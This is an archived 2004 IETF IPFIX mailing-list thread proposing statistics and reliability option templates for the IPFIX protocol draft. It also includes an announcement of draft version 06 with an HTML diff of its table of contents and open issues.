The Metering Process Statistics Option Template specifies the Metering <br>
Process Statistics. It contains the following Information<br>
Elements [IPFIX-INFO]<br>
ipfixOption The value is METERING_STATS<br>
exportedOctetCount The number of all octets reported<br>
by the Exporting Process to the<br>
Collecting Process.<br>
exportedPacketCount The number of all packets reported<br>
by the exporting process to the<br>
Collecting Process.<br>
** exportedFlowCount The number of all flows records<br>
reported by the Exporting Process<br>
to the Collecting Process.** *<br>
* time The time at which the record was generated<br>
    <br>
The Exporting Process should export the Metering Process Statistics
Option<br>
Template Record on a regular basis or based on some export policy. This<br>
periodicity or export policy should be configurable. The **Metering <br>
Process Statistics Option Template could be extended with other<br>
Information Elements.***<br>
*<br>
* *8.2 The Exporter Reliability Statistics Option Template **<br>
    <br>
The Exporter Reliability Option Template specifies information<br>
about lack of reliability in the Metering and Exporting process.<br>
**It contains the following Information Elements [IPFIX-INFO]:*<br>
*<br>
ipfixOption The value is RELIABILITY_STATS<br>
** droppedFUPacketCount Packets dropped by Metering Process ** <br>
droppedFUOctetCount Bytes dropped by Metering Process** * * <br>
droppedFlows Number of flow records lost due to resources<br>
starvation at Exporting Process<br>
** time The time at which the record was generated<br>
** *<br>
*The Exporting Process should export the Exporter Reliability Statistics<br>
Option Template Record on a regular basis or based on some export
policy.<br>
This periodicity or export policy should be configurable. **The
**Exporter<br>
Reliability Statistics **Option Template could be extended with other<br>
Information Elements.<br>
    <br>
*Note that the ipfixOption, time, droppedFUPacketCount,<br>
droppedFUByteCount, and droppedFlows are not yet specified in
[IPFIX-INFO]<br>
    <br>
Regards, Benoit.<br>
*<br>
*<br>
    <br>
    <br>
    <br>
    <br>
Dear all,<br>
    </BCLAISE></p>
    <pre>The IPFIX protocol version 5 lists this remaining issue.
<a class="moz-txt-link-freetext"
 href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt</a>

&nbsp;PROTO-21: Do we need to define some mandatory content of the 
   metering process statistics option template? 
       - Maurizio suggested text on the mailing list 
       - proposal after IETF60: look at what is required in [IPFIX-
   REQ], and come up with a minimum set of data types. 
   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
   for the metering process statistics

The text in section "8.1 The Metering Process Statistics Option Template" is not complete:

    </pre>
    <blockquote>
      <pre>&nbsp;<b>8.1      The Metering Process Statistics Option Template 
 
   The Metering Process Statistics Option Template defines the Metering 
   Process Statistics with the export of the following Information 
   Elements [IPFIX-INFO]: 
       ipfixOption             The value MUST be METER_STATS 
       observationDomain       Source ID 
       lostFlows               Flows not exported due to resource   
                               starvation 
       lostFlowsPackets        Packets in the lost Flows 
       lostFlowsBytes          Bytes in the lost Flows  
       droppedPacketCount      Packets dropped by Metering Process  
                           at the Observation Point 
   droppedByteCount        Bytes dropped by Metering Process at the  
                                Observation Domain 
        time;                   When this record was generated 
 
   The minimum set of Information Element in the Metering Process 
   Statistics Option Template is: ipfixOption, observationDomain, 
   lostFlows, time </b></pre>
    </blockquote>
&lt;&gt;I think this version comes from discussion between Maurizio and
I, but I'm not too sure anymore, as this is pretty old. Maurizio
proposed some new text at <a class="moz-txt-link-freetext"
 href="http://ipfix.doit.wisc.edu/archive/2407.html">http://ipfix.doit.wisc.edu/archive/2407.html</a>
    <br>
    <br>
We should discuss whether we need some mandatory information element
exported. If yes, which one? I reviewed the IPFIX requirement draft <a
 class="moz-txt-link-freetext"
 href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-reqs-16.txt</a>,
and the applicable sections are:
    <blockquote>5.1. Reliability<br>
      <br>
The metering process must either be reliable or the absence of<br>
reliability must be known and indicated. The metering process is<br>
reliable if each packet passing the observation point is metered<br>
according to the configuration of the metering process. If, e.g. due<br>
to some overload, not all passing packets can be included into the<br>
metering process, then the metering process must be able to detect<br>
this failure and to report it.<br>
    </blockquote>
    <blockquote>6.5. Regular Reporting Interval<br>
      <br>
The exporting process should be capable of reporting measured traffic<br>
data regularly according to a given interval length.<br>
      <br>
6.3.2 -&gt; discusses also the data transfer reliability: somehow
related.<br>
    </blockquote>
    <pre>A couple of points to Maurizio's proposal, that leads to the simplified proposal below:
- I don't think we need to export the Observation Domain ID, as the scope field will determine whether the scope is the interface, the Observation Domain ID, etc...
- There are 2 different requirements in RFC3917, so we should have 2 different options template records
- I think we should remove the MUST, SHOULD, MAY requirement in the flow expiration section because the requirements imposed constraints on the metering process, and we are standardizing the IP Flow Information eXport.
  As a consequence, we should not put MUST, SHOULD, MAY requirements on the Metering Process in order to export those Option Templates.
- If you have a metering process resource starvation how can you know how many flows have been lost? It is impossible to determine how many packets are
in that flow because you can not keep flow information. All you can do is keep the count of how many packets and bytes that did not fit into the
flow table.


Here is the text I propose.

<font color="#ff0000"><b><font color="#000000"> 8.     Specific Reporting Requirements 
    
   Some specific Options Templates and Options Templates Records are 
   necessary to provide extra information about the Flow Records and 
   about the Metering Process.   
    
   The ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines the type of information sent in 
   the Option Template / Option Template Record pair.  For example, if 
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
   Template will specify information about the Metering Process 
   statistics. 

<font color="#ff0000">   <font color="#000000">The Option Template and Option Template Records defined in these sub-sections 
   are not mandatory to implement as they impose some constraints about 
   the Metering Process implementation: this document specifies the protocol
   to export the records, not the Metering Process implementation.
   However, if the specific Option Templates are implemented, they should 
   implemented as specified in these sub-sections.  In any case, if the 
   ipfixOption Information Element is present, it MUST always be the first </font></font>
   Information Element in the Option Template so that the Collector
  &nbsp;can quickly determine which specific Option Template Record is received.
     
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements <font color="#000000">may </font>be used in these specific Options Templates.   &nbsp;</font></b><b>

<font color="#000000">8.1      The Metering Process Statistics Option Template 
 
The Metering Process Statistics Option Template specifies the Metering 
Process Statistics. It contains the following Information 
Elements [IPFIX-INFO] 
     ipfixOption             The value is METERING_STATS 
     exportedOctetCount      The number of all octets reported 
                             by the Exporting Process to the
                             Collecting Process.
     exportedPacketCount     The number of all packets reported 
                             by the exporting process to the
                            &nbsp;Collecting Process.</font>
</b><font color="#000000"><b>     exportedFlowCount       The number of all flows records 
                             reported by the Exporting Process
                            &nbsp;to the Collecting Process.</b><b> </b></font>
</font><font color="#000000"><b>     time                    The time at which the record was generated 
 
The Exporting Process should export the Metering Process Statistics Option 
Template Record on a regular basis or based on some export policy. 
This periodicity or export policy should be configurable. The </b></font><font
 color="#000000"><b>Metering 
Process Statistics Option Template could be extended with other Information 
Elements.</b></font><font color="#000000"><b><small><small><DEFANGED_SPAN
 class="BodyTextIndentChar"><DEFANGED_SPAN style="font-size: 12pt;"></DEFANGED_SPAN></DEFANGED_SPAN></small></small></b>
<b>
</b> <b>8.2      The Exporter Reliability Statistics Option Template </b><b>

The Exporter Reliability Option Template specifies information 
about lack of reliability in the Metering and Exporting process.
</b><b>It contains the following Information Elements [IPFIX-INFO]:</b>
<b>
     ipfixOption             The value is RELIABILITY_STATS
</b><b>     droppedFUPacketCount    Packets dropped by Metering Process
</b><b>     droppedFUOctetCount     Bytes dropped by Metering Process</b><b> </b></font>
<font color="#000000"><b>     droppedFlows            Number of flow records lost due to resources 
                             starvation at Exporting Process
</b><b>     time                    The time at which the record was generated </b><b>
</b></font>
<font color="#000000"><b>The Exporting Process should export the Exporter Reliability Statistics Option 
Template Record on a regular basis or based on some export policy. This periodicity or
export policy should be configurable. </b></font><font color="#000000"><b>The </b></font><font
 color="#000000"><b>Exporter Reliability Statistics </b></font><font
 color="#ff0000"><b><font color="#000000">Option 
Template could be extended with other Information Elements.</font>

</b></font>Note that the ipfixOption, time, droppedFUPacketCount, droppedFUByteCount, and droppedFlows are not yet specified in [IPFIX-INFO]

Regards, Benoit.
<b>
</b>



    </pre>
  </blockquote>
  </div>
  <p> </p>
  <hr size="1"><font face="Arial" size="2"><a
 href="http://it.rd.yahoo.com/mail/taglines/*http://it.messenger.yahoo.com"><b>Nuovo
Yahoo! Messenger</b></a> E' molto pi&ugrave; divertente: Audibles, Avatar,
Webcam, Giochi, Rubrica&#8230; Scaricalo ora! </font>
</blockquote>
<br>
</body>
</html>

--------------040003060905060204080704--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Oct 22 11:30:55 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14180
	for <ipfix-archive@lists.ietf.org>; Fri, 22 Oct 2004 11:30:53 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CL1Cd-0003ER-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 22 Oct 2004 10:19:39 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CL1CW-0003Dk-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 22 Oct 2004 10:19:32 -0500
Received: from [192.168.0.1] (ams-clip-vpn-dhcp4370.cisco.com [10.61.81.17])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9MFJL125825;
	Fri, 22 Oct 2004 17:19:21 +0200 (CEST)
Message-ID: <417924F9.6080501@cisco.com>
Date: Fri, 22 Oct 2004 17:19:21 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] draft-ietf-ipfix-protocol-06.txt posted
Content-Type: multipart/mixed;
 boundary="------------010303010200060504020103"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------010303010200060504020103
Content-Type: multipart/alternative;
 boundary="------------030209080209050806040401"


--------------030209080209050806040401
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

A new version of the IPFIX protocol draft has been posted.
Look at the attached file for a quick overview of the changes.

__The following issues have been closed:
- PROTO-4: TCP section not yet covered.
- PROTO-21: Do we need to define some mandatory content of the metering 
process statistics option template?
    Discussion continues on the mailing list
- PROTO-24: Section 11 "Linkage with the information model" must be 
completed with types used in [IPFIX-INFO]
- PROTO-26: IANA considerations section to be updated.
- PROTO-35: make sure the definitions match between [IPFIX-ARCH] and 
[IPFIX-PROTO]
- The protocol did not allow for a variable length element with 255 
bytes length
New specification of the option template format, with the count instead 
of length. Example changed accordingly. 
- Added:  The Export Packet 16-bit LENGTH field limits the length of a 
IPFIX Message to 65536 octets including the header.  A Collecting 
Process MUST be able to handle IPFIX Message lengths of up to 65536 
octets. 
- SCTP sections improved
    Updated section 5.3.1 about SCTP congestion avoidance.
          Updated section 5.3.4.1 and 5.3.4.1 about the SCTP association 
establishment and shutdown.
          Updated section 5.3.4.5 about the Templates with SCTP
- Remove the SID abbreviation for Source ID: someone mentioned to me it 
was confusing.
- Intellectual Property Statement, Disclaimer of Validity, and Copyright 
Statement sections added.
- Some editorial changes

Regards, Benoit.

--------------030209080209050806040401
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Dear all, <br>
<br>
A new version of the IPFIX protocol draft has been posted.<br>
Look at the attached file for a quick overview of the changes.<br>
<br>
<u><span style="font-family: &quot;Courier New&quot;;"></span></u>The following
issues have been closed:<br>
<span style="font-family: &quot;Courier New&quot;;">- PROTO-4: TCP
section not yet covered.</span><br>
- PROTO-21: Do we need to define some mandatory content of
the metering process statistics option template?<br>
<span style="">&nbsp;&nbsp;&nbsp; </span>Discussion continues on the mailing
list
<br>
<span style="font-family: &quot;Courier New&quot;;">- PROTO-24: Section
11 "Linkage with the information model" must be completed with types
used in [IPFIX-INFO]<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">- PROTO-26: IANA
considerations section
to be updated.<br>
-&nbsp;</span><span style="font-family: &quot;Courier New&quot;;">PROTO-35: make sure
the definitions match between
[IPFIX-ARCH] and [IPFIX-PROTO]</span><span
 style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span>
<br>
- <span style="font-family: &quot;Courier New&quot;;">The protocol did
not allow for a variable length element with 255 bytes length <o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">New specification
of the option template format, with the count instead of length.
Example
changed accordingly.<o:p></o:p></span><span style=""><o:p>&nbsp;</o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">- Added:<span style="">&nbsp;
</span></span><span style="font-family: &quot;Courier New&quot;;">The Export
Packet
16-bit LENGTH field limits the length of a IPFIX Message to 65536
octets
including the header.<span style="">&nbsp; </span>A Collecting
Process MUST be able to handle IPFIX Message lengths of up to 65536
octets.<o:p></o:p></span>&nbsp;
<span style="font-family: &quot;Courier New&quot;;"><o:p><br>
- SCTP sections improved<br>
</o:p></span><span style="font-family: &quot;Courier New&quot;;">&nbsp;&nbsp;&nbsp; Updated
section 5.3.1 about SCTP
congestion avoidance.<o:p></o:p></span>
<span style=""><o:p></o:p></span><br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; Updated
section 5.3.4.1 and 5.3.4.1 about the SCTP association establishment
and
shutdown.<span style=""><o:p></o:p></span>
<br>
<span style=""><o:p>&nbsp;</o:p></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Updated
section 5.3.4.5 about the Templates with SCTP
<br>
<span style=""><o:p>- </o:p></span>Remove
the SID abbreviation for Source ID: someone mentioned to me it was
confusing.
<br>
<span style=""><o:p>- </o:p></span><span
 style="font-family: &quot;Courier New&quot;;">Intellectual Property Statement,
Disclaimer
of Validity, and Copyright Statement sections added.<o:p></o:p></span><br>
- Some editorial changes<br>
<br>
Regards, Benoit.<br>
<span style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span><span
 style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span>
</body>
</html>

--------------030209080209050806040401--

--------------010303010200060504020103
Content-Type: text/html;
 name="diff-proto05-proto06.html"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="diff-proto05-proto06.html"
Content-Transfer-Encoding: 7bit

<pre>

   IPFIX working group                                                  
   Internet Draft                               EDITOR:      B. Claise 
   <strike><font color=red>draft-ietf-ipfix-protocol-05.txt</font></strike> 
   <strong><font color=green>draft-ietf-ipfix-protocol-06.txt</font></strong>                       Cisco Systems 
   Expires: <strike><font color=red>February</font></strike> <strong><font color=green>April</font></strong> 2005                                   <strike><font color=red>August</font></strike>                                     <strong><font color=green>October</font></strong> 2004 
                                                                        
                                                                        
    
    
    
                       IPFIX Protocol Specification  
 
                                      
    
 Status of this Memo 
  
   By submitting this Internet-Draft, each author represents that any 
   applicable patent or other IPR claims of which he or she is aware 
   have been or will be disclosed, and any of which he or she becomes 
   aware will be disclosed, in accordance with Section 6 of RFC 3668.  
    
   This document is an Internet-Draft and is in full conformance with 
   all provisions of Section 10 of RFC2026.  
    
   Internet-Drafts are working documents of the Internet Engineering 
   Task Force (IETF), its areas, and its working groups.  Note that 
   other groups may also distribute working documents as Internet-
   Drafts.  Internet-Drafts are draft documents valid for a maximum of 
   six months and may be updated, replaced, or obsolete by other 
   documents at any time.  It is inappropriate to use Internet-Drafts 
   as reference material or to cite them other than as "work in 
   progress." 
     
   The list of current Internet-Drafts can be accessed at 
   http://www.ietf.org/ietf/1id-abstracts.txt  
   The list of Internet-Draft Shadow Directories can be accessed at 
   http://www.ietf.org/shadow.html 
    
 Abstract 
  
   This document specifies the IPFIX protocol that provides network 
   operators with access to IP flow information.  In order to export 
   IP flow information to the IPFIX collecting process, a common method 
   of representing the flow data and a standard means of communicating 
   them from an exporter to a collector is required.  This document 
   describes how the IPFIX flow record data, options record data and 

 
 
  Claise, et. al            Standard Track                    [Page 1] 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
   templates are carried over a congestion-aware transport protocol 
   from an IPFIX exporting process to an IPFIX collecting process. 
    
 Conventions used in this document 
  
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", 
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this 
   document are to be interpreted as described in RFC 2119. 
    
 Table of Contents 
  
     1. Points of <strike><font color=red>Discussion.........................................3</font></strike> <strong><font color=green>Discussion.........................................4</font></strong> 
     2. Introduction.................................................6 
      2.1 IPFIX Documents Overview...................................6 
     3. Terminology..................................................7 
      3.1 Terminology Summary <strike><font color=red>Table.................................11</font></strike> <strong><font color=green>Table.................................12</font></strong> 
     4. Criteria for Flow Expiration and Export.....................12 
      4.1 Flow Expiration...........................................12 
      4.2 Flow Export...............................................13 
     5. Transport Protocol..........................................13 
      5.1 Transport Compliance and Transport Usage..................13 
      5.2 TCP.......................................................14 
     <strong><font color=green>5.2.1   Congestion Avoidance...................................14 
     5.2.2   Reliability............................................14 
     5.2.3   MTU....................................................14 
     5.2.4   Exporting Process......................................14 
     5.2.4.1  Connection Establishment..............................15 
     5.2.4.2  Connection Release....................................15 
     5.2.4.3  IPFIX Message Encoding................................15 
     5.2.4.4  Templates.............................................16 
     5.2.5   Fail-over..............................................16</font></strong> 
      5.3 <strike><font color=red>SCTP......................................................14</font></strike> <strong><font color=green>SCTP......................................................16</font></strong> 
     5.3.1   Congestion <strike><font color=red>Avoidance...................................14</font></strike> <strong><font color=green>Avoidance...................................16</font></strong> 
     5.3.2   <strike><font color=red>Reliability............................................14</font></strike>   <strong><font color=green>Reliability............................................17</font></strong> 
     5.3.3   <strike><font color=red>MTU....................................................14</font></strike>   <strong><font color=green>MTU....................................................17</font></strong> 
     5.3.4   Exporting <strike><font color=red>Process......................................15</font></strike> <strong><font color=green>Process......................................17</font></strong> 
     5.3.4.1  <strike><font color=red>Association...........................................15</font></strike>  <strong><font color=green>Association Establishment.............................17</font></strong> 
     5.3.4.2  <strike><font color=red>Source ID.............................................15</font></strike>  <strong><font color=green>Association Shutdown..................................18</font></strong> 
     5.3.4.3  <strike><font color=red>Stream................................................15</font></strike>  <strong><font color=green>Source ID.............................................18</font></strong> 
     5.3.4.4  <strike><font color=red>Template..............................................16</font></strike>  <strong><font color=green>Stream................................................18 
     5.3.4.5  Template..............................................19</font></strong> 
     5.3.5   Collecting <strike><font color=red>Process.....................................16</font></strike> <strong><font color=green>Process.....................................19</font></strong> 
     5.3.6   <strike><font color=red>Failover...............................................17</font></strike>   <strong><font color=green>Failover...............................................20</font></strong> 
      5.4 <strike><font color=red>UDP.......................................................17</font></strike> <strong><font color=green>UDP.......................................................20</font></strong> 
     5.4.1   Congestion <strike><font color=red>Avoidance...................................17</font></strike> <strong><font color=green>Avoidance...................................20</font></strong> 
     5.4.2   <strike><font color=red>Reliability............................................17</font></strike>   <strong><font color=green>Reliability............................................20</font></strong> 
     5.4.3   <strike><font color=red>MTU....................................................18</font></strike>   <strong><font color=green>MTU....................................................21</font></strong> 
     5.4.4   Port <strike><font color=red>Numbers...........................................18</font></strike> <strong><font color=green>Numbers...........................................21 
 
 
  Claise, et. al            Standard Track                    [Page 2] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
     5.4.5   Exporting <strike><font color=red>Process......................................18</font></strike> <strong><font color=green>Process......................................21</font></strong> 
     5.4.5.1  <strike><font color=red>Template..............................................18</font></strike>  <strong><font color=green>Template..............................................21</font></strong> 
     5.4.6   Collecting <strike><font color=red>Process.....................................18</font></strike> <strong><font color=green>Process.....................................22</font></strong> 
     5.4.7   <strike><font color=red>Failover...............................................19</font></strike>   <strong><font color=green>Failover...............................................22</font></strong> 
     6. Message <strike><font color=red>Layout..............................................19</font></strike> <strong><font color=green>Layout..............................................22</font></strong> 
     7. IPFIX Message <strike><font color=red>Format........................................21</font></strike> <strong><font color=green>Format........................................24</font></strong> 
      7.1 Header <strike><font color=red>Format.............................................21</font></strike> <strong><font color=green>Format.............................................24</font></strong> 
      7.2 Field Type <strike><font color=red>Format.........................................22</font></strike> <strong><font color=green>Format.........................................25</font></strong> 
      7.3 Template <strike><font color=red>Set..............................................23 
 
 
  Claise, et. al            Standard Track                    [Page 2] 
                   IPFIX Protocol Specification            August 2004</font></strike> <strong><font color=green>Set Format.......................................26</font></strong> 
      7.4 Data <strike><font color=red>Set..................................................25</font></strike> <strong><font color=green>Set Format...........................................29</font></strong> 
      7.5 Options Template <strike><font color=red>Set......................................27</font></strike> <strong><font color=green>Set......................................30</font></strong> 
     7.5.1   <strike><font color=red>Scope..................................................27</font></strike>   <strong><font color=green>Scope..................................................30</font></strong> 
     7.5.2   Options Template Set <strike><font color=red>Format............................28</font></strike> <strong><font color=green>Format............................31</font></strong> 
     7.5.3   Options Data Record <strike><font color=red>Format.............................30</font></strike> <strong><font color=green>Format.............................33</font></strong> 
     8. Specific Reporting <strike><font color=red>Requirements.............................32</font></strike> <strong><font color=green>Requirements.............................35</font></strong> 
      8.1 The Metering Process Statistics Option <strike><font color=red>Template...........32</font></strike> <strong><font color=green>Template...........36 
      8.2 The Metering Process Reliability Statistics Option Template36 
      8.3 The Exporting Process Reliability Statistics Option Template37 
      8.4 The Flow Keys Option Template.............................38</font></strong> 
     9. Export Packet "Export Time" Computation and Flow Record <strike><font color=red>Time33</font></strike> <strong><font color=green>Time38</font></strong> 
      9.1 Microsecond <strike><font color=red>Precision.....................................33</font></strike> <strong><font color=green>Precision.....................................38</font></strong> 
      9.2 Millisecond <strike><font color=red>Precision.....................................34</font></strike> <strong><font color=green>Precision.....................................39</font></strong> 
      9.3 Nanosecond <strike><font color=red>Precision......................................34</font></strike> <strong><font color=green>Precision......................................40</font></strong> 
      9.4 Multiple <strike><font color=red>Precisions.......................................35</font></strike> <strong><font color=green>Precisions.......................................40</font></strong> 
     10. Linkage with the Information <strike><font color=red>Model.........................35</font></strike> <strong><font color=green>Model.........................40</font></strong> 
      10.1 <strike><font color=red>Boolean..................................................35 
      10.2 Byte.....................................................35 
      10.3 UnsignedByte.............................................35 
      10.4 Short....................................................35 
      10.5</font></strike> Reduced Size Encoding of Integer <strike><font color=red>Types...................36</font></strike> <strong><font color=green>Types...................40</font></strong> 
     11. Variable Length Information <strike><font color=red>Element........................36</font></strike> <strong><font color=green>Element........................41</font></strong> 
     12. Template <strike><font color=red>Management........................................37</font></strike> <strong><font color=green>Management........................................42</font></strong> 
     13. The Collecting Process's <strike><font color=red>Side..............................39</font></strike> <strong><font color=green>Side..............................43</font></strong> 
     14. Security <strike><font color=red>Considerations....................................40</font></strike> <strong><font color=green>Considerations....................................45</font></strong> 
      14.1 IPsec <strike><font color=red>Usage..............................................41</font></strike> <strong><font color=green>Usage..............................................46</font></strong> 
     14.1.1  <strike><font color=red>Selectors..............................................41</font></strike>  <strong><font color=green>Selectors..............................................46</font></strong> 
     14.1.2  <strike><font color=red>Mode...................................................41</font></strike>  <strong><font color=green>Mode...................................................46</font></strong> 
     14.1.3  Key <strike><font color=red>Management.........................................42</font></strike> <strong><font color=green>Management.........................................46</font></strong> 
     14.1.4  Security <strike><font color=red>Policy........................................42</font></strike> <strong><font color=green>Policy........................................46</font></strong> 
     14.1.5  <strike><font color=red>Authentication.........................................42</font></strike>  <strong><font color=green>Authentication.........................................47</font></strong> 
     14.1.6  <strike><font color=red>Availability...........................................42</font></strike>  <strong><font color=green>Availability...........................................47</font></strong> 
      14.2 TLS <strike><font color=red>Usage................................................42</font></strike> <strong><font color=green>Usage................................................47</font></strong> 
      14.3 Protection against DoS <strike><font color=red>attacks...........................42</font></strike> <strong><font color=green>attacks...........................47</font></strong> 
      14.4 When IPsec or TLS is not an <strike><font color=red>option.......................43</font></strike> <strong><font color=green>option.......................48</font></strong> 
      14.5 Logging an IPFIX <strike><font color=red>Attack..................................44</font></strike> <strong><font color=green>Attack..................................48</font></strong> 
     15. IANA <strike><font color=red>Considerations........................................44</font></strike> <strong><font color=green>Considerations........................................49 
      15.1 Numbers used in the Protocol.............................49 
      15.2 Numbers used in the Information Model....................49</font></strong> 
     16. <strike><font color=red>Examples...................................................44</font></strike> <strong><font color=green>Examples...................................................50</font></strong> 
      16.1 Message Header <strike><font color=red>Example...................................45</font></strike> <strong><font color=green>Example...................................50</font></strong> 
      16.2 Template Set <strike><font color=red>Example.....................................45</font></strike> <strong><font color=green>Example.....................................51</font></strong> 
      16.3 Data Set <strike><font color=red>Example.........................................46</font></strike> <strong><font color=green>Example.........................................51</font></strong> 
      16.4 Options Template Set <strike><font color=red>Example.............................47</font></strike> <strong><font color=green>Example.............................52 
 
 
  Claise, et. al            Standard Track                    [Page 3] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      16.5 Data Set with Options Data Records <strike><font color=red>Example...............48</font></strike> <strong><font color=green>Example...............53</font></strong> 
     17. <strike><font color=red>References.................................................48</font></strike> <strong><font color=green>References.................................................54</font></strong> 
      17.1 Normative <strike><font color=red>References.....................................48</font></strike> <strong><font color=green>References.....................................54</font></strong> 
      17.2 Informative <strike><font color=red>References...................................49</font></strike> <strong><font color=green>References...................................54</font></strong> 
     18. <strike><font color=red>Acknowledgments............................................50</font></strike> <strong><font color=green>Acknowledgments............................................55</font></strong> 
  
 1.     Points of Discussion 
    


 
 
  <strike><font color=red>Claise, et. al            Standard Track                    [Page 3] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   This section covers the open issues, still to be resolved/updated in 
   this draft.  Note that the issues starting with PROTO-31 have been 
   added to this draft version.  
    
   <strike><font color=red>PROTO-4: TCP section not yet covered.  Starting point: draft-leinen-
   ipfix-tcp-00.txt. Ideally the same structure as SCTP and UDP should 
   be preserved.   
    
   PROTO-21: Do we need to define some mandatory content of the 
   metering process statistics option template? 
       - Maurizio suggested text on the mailing list 
       - proposal after IETF60: look at what is required in [IPFIX-
   REQ], and come up with a minimum set of data types. 
   Note: the ipfixOption is not yet defined in the [IPFIX-INFO]; needed 
   for the metering process statistics</font></strike>  
    
   PROTO-23: Finalize the time details. The time-related Information 
   Elements are not defined in [IPFIX-INFO] 
     
   <strike><font color=red>PROTO-24: Section 11 "Linkage with the information model" must be 
   completed with types used in [IPFIX-INFO]</font></strike> 
     
   PROTO-25: The section "Template Management" and "The Collecting 
   Process's Side" will have to updated according to the transport 
   protocol. 
       - For example, the point 2 of the section "Template Management". 
         Remark: the template management will vary with TCP, SCTP,   
         etc... 
         Must have both sections updated: transport updated and  
         template management sections (BTW, this is the same for the  
         failover section). 
       - From Deri's draft: On the other hand as a probe can send flows 
       to several collectors (e.g. in round-robin or as a reflector) it 
       must keep track of per-collector templates transmission. This 
       means that if collector X reconnects, the probe must send the 
       template only to this collector and not to all collectors. 
        
     PROPOSAL, after IETF60: treat UDP as the exception, in the template 
     subsection of the UDP transport protocol. 
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                    [Page 4] 
                   IPFIX Protocol Specification            August 2004 
 
 
   PROTO-26: IANA considerations section to be updated. Consensus from 
   IETF60 + notion of security. Nevil wrote the section already.</font></strike> 
 
   PROTO-30: review <strike><font color=red>the requirements draft</font></strike> <strong><font color=green>RFC 3917,</font></strong> to see <strike><font color=red>what</font></strike> <strong><font color=green>if</font></strong> we <strike><font color=red>miss, once 
   it's an I-RFC 
    
   New Issue</font></strike> <strong><font color=green>miss any requirements</font></strong> 
    
   PROTO-31 The "Sequence Number" and "Source ID" treatment in case of 
   multiple streams in SCTP is not well described. For example, in case 
   the Templates are sent to one stream and the flow records to another 
   one, what should the "Sequence Number"? What should the collector 
   do? See David Moore's post   

   PROTO-32 Correct this issue below 


 
 
  <strong><font color=green>Claise, et. al            Standard Track                    [Page 4] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
     The Collecting Process SHOULD verify that the received IPFIX 
     Messages inside one stream do not have differing <strike><font color=red>SID</font></strike> <strong><font color=green>Source ID</font></strong> values 
     and silently discard any data that does NOT match the initial 
     value.  

     The Exporting Process SHOULD NOT transmit messages inside one 
     stream with multiple <strike><font color=red>SID</font></strike> <strong><font color=green>Source ID</font></strong> values. The correlated Flow Records 
     are then treated like a normal export Flow. 

   PROTO-33: correct the next paragraphs: silently? reset the 
   connection? log an error? should the exporting process be allowed to 
   sent multiple <strike><font color=red>SID</font></strike> <strong><font color=green>Source ID</font></strong> per stream. 

        The Collecting Process SHOULD verify that the received IPFIX 
        Messages inside one stream do not have differing <strike><font color=red>SID</font></strike> <strong><font color=green>Source ID</font></strong> 
        values and silently discard any data that does NOT match the 
        initial value.  

        The Exporting Process SHOULD NOT transmit messages inside one 
        stream with multiple <strike><font color=red>SID</font></strike> <strong><font color=green>Source ID</font></strong> values. The correlated Flow 
        Records are then treated like a normal export Flow. 
   PROTO-34: Need a security expert to review the security section: 
          <strong><font color=green>-</font></strong> [TBD] in the security <strike><font color=red>section, [EDITOR'S</font></strike> <strong><font color=green>section 
          - [EDITOR</font></strong> NOTE: the security section may need be adapted to 
          the revised transport section], <strike><font color=red>[XXX-
   REFERENCE] and</font></strike> <strong><font color=green>[XXX-REFERENCE] 
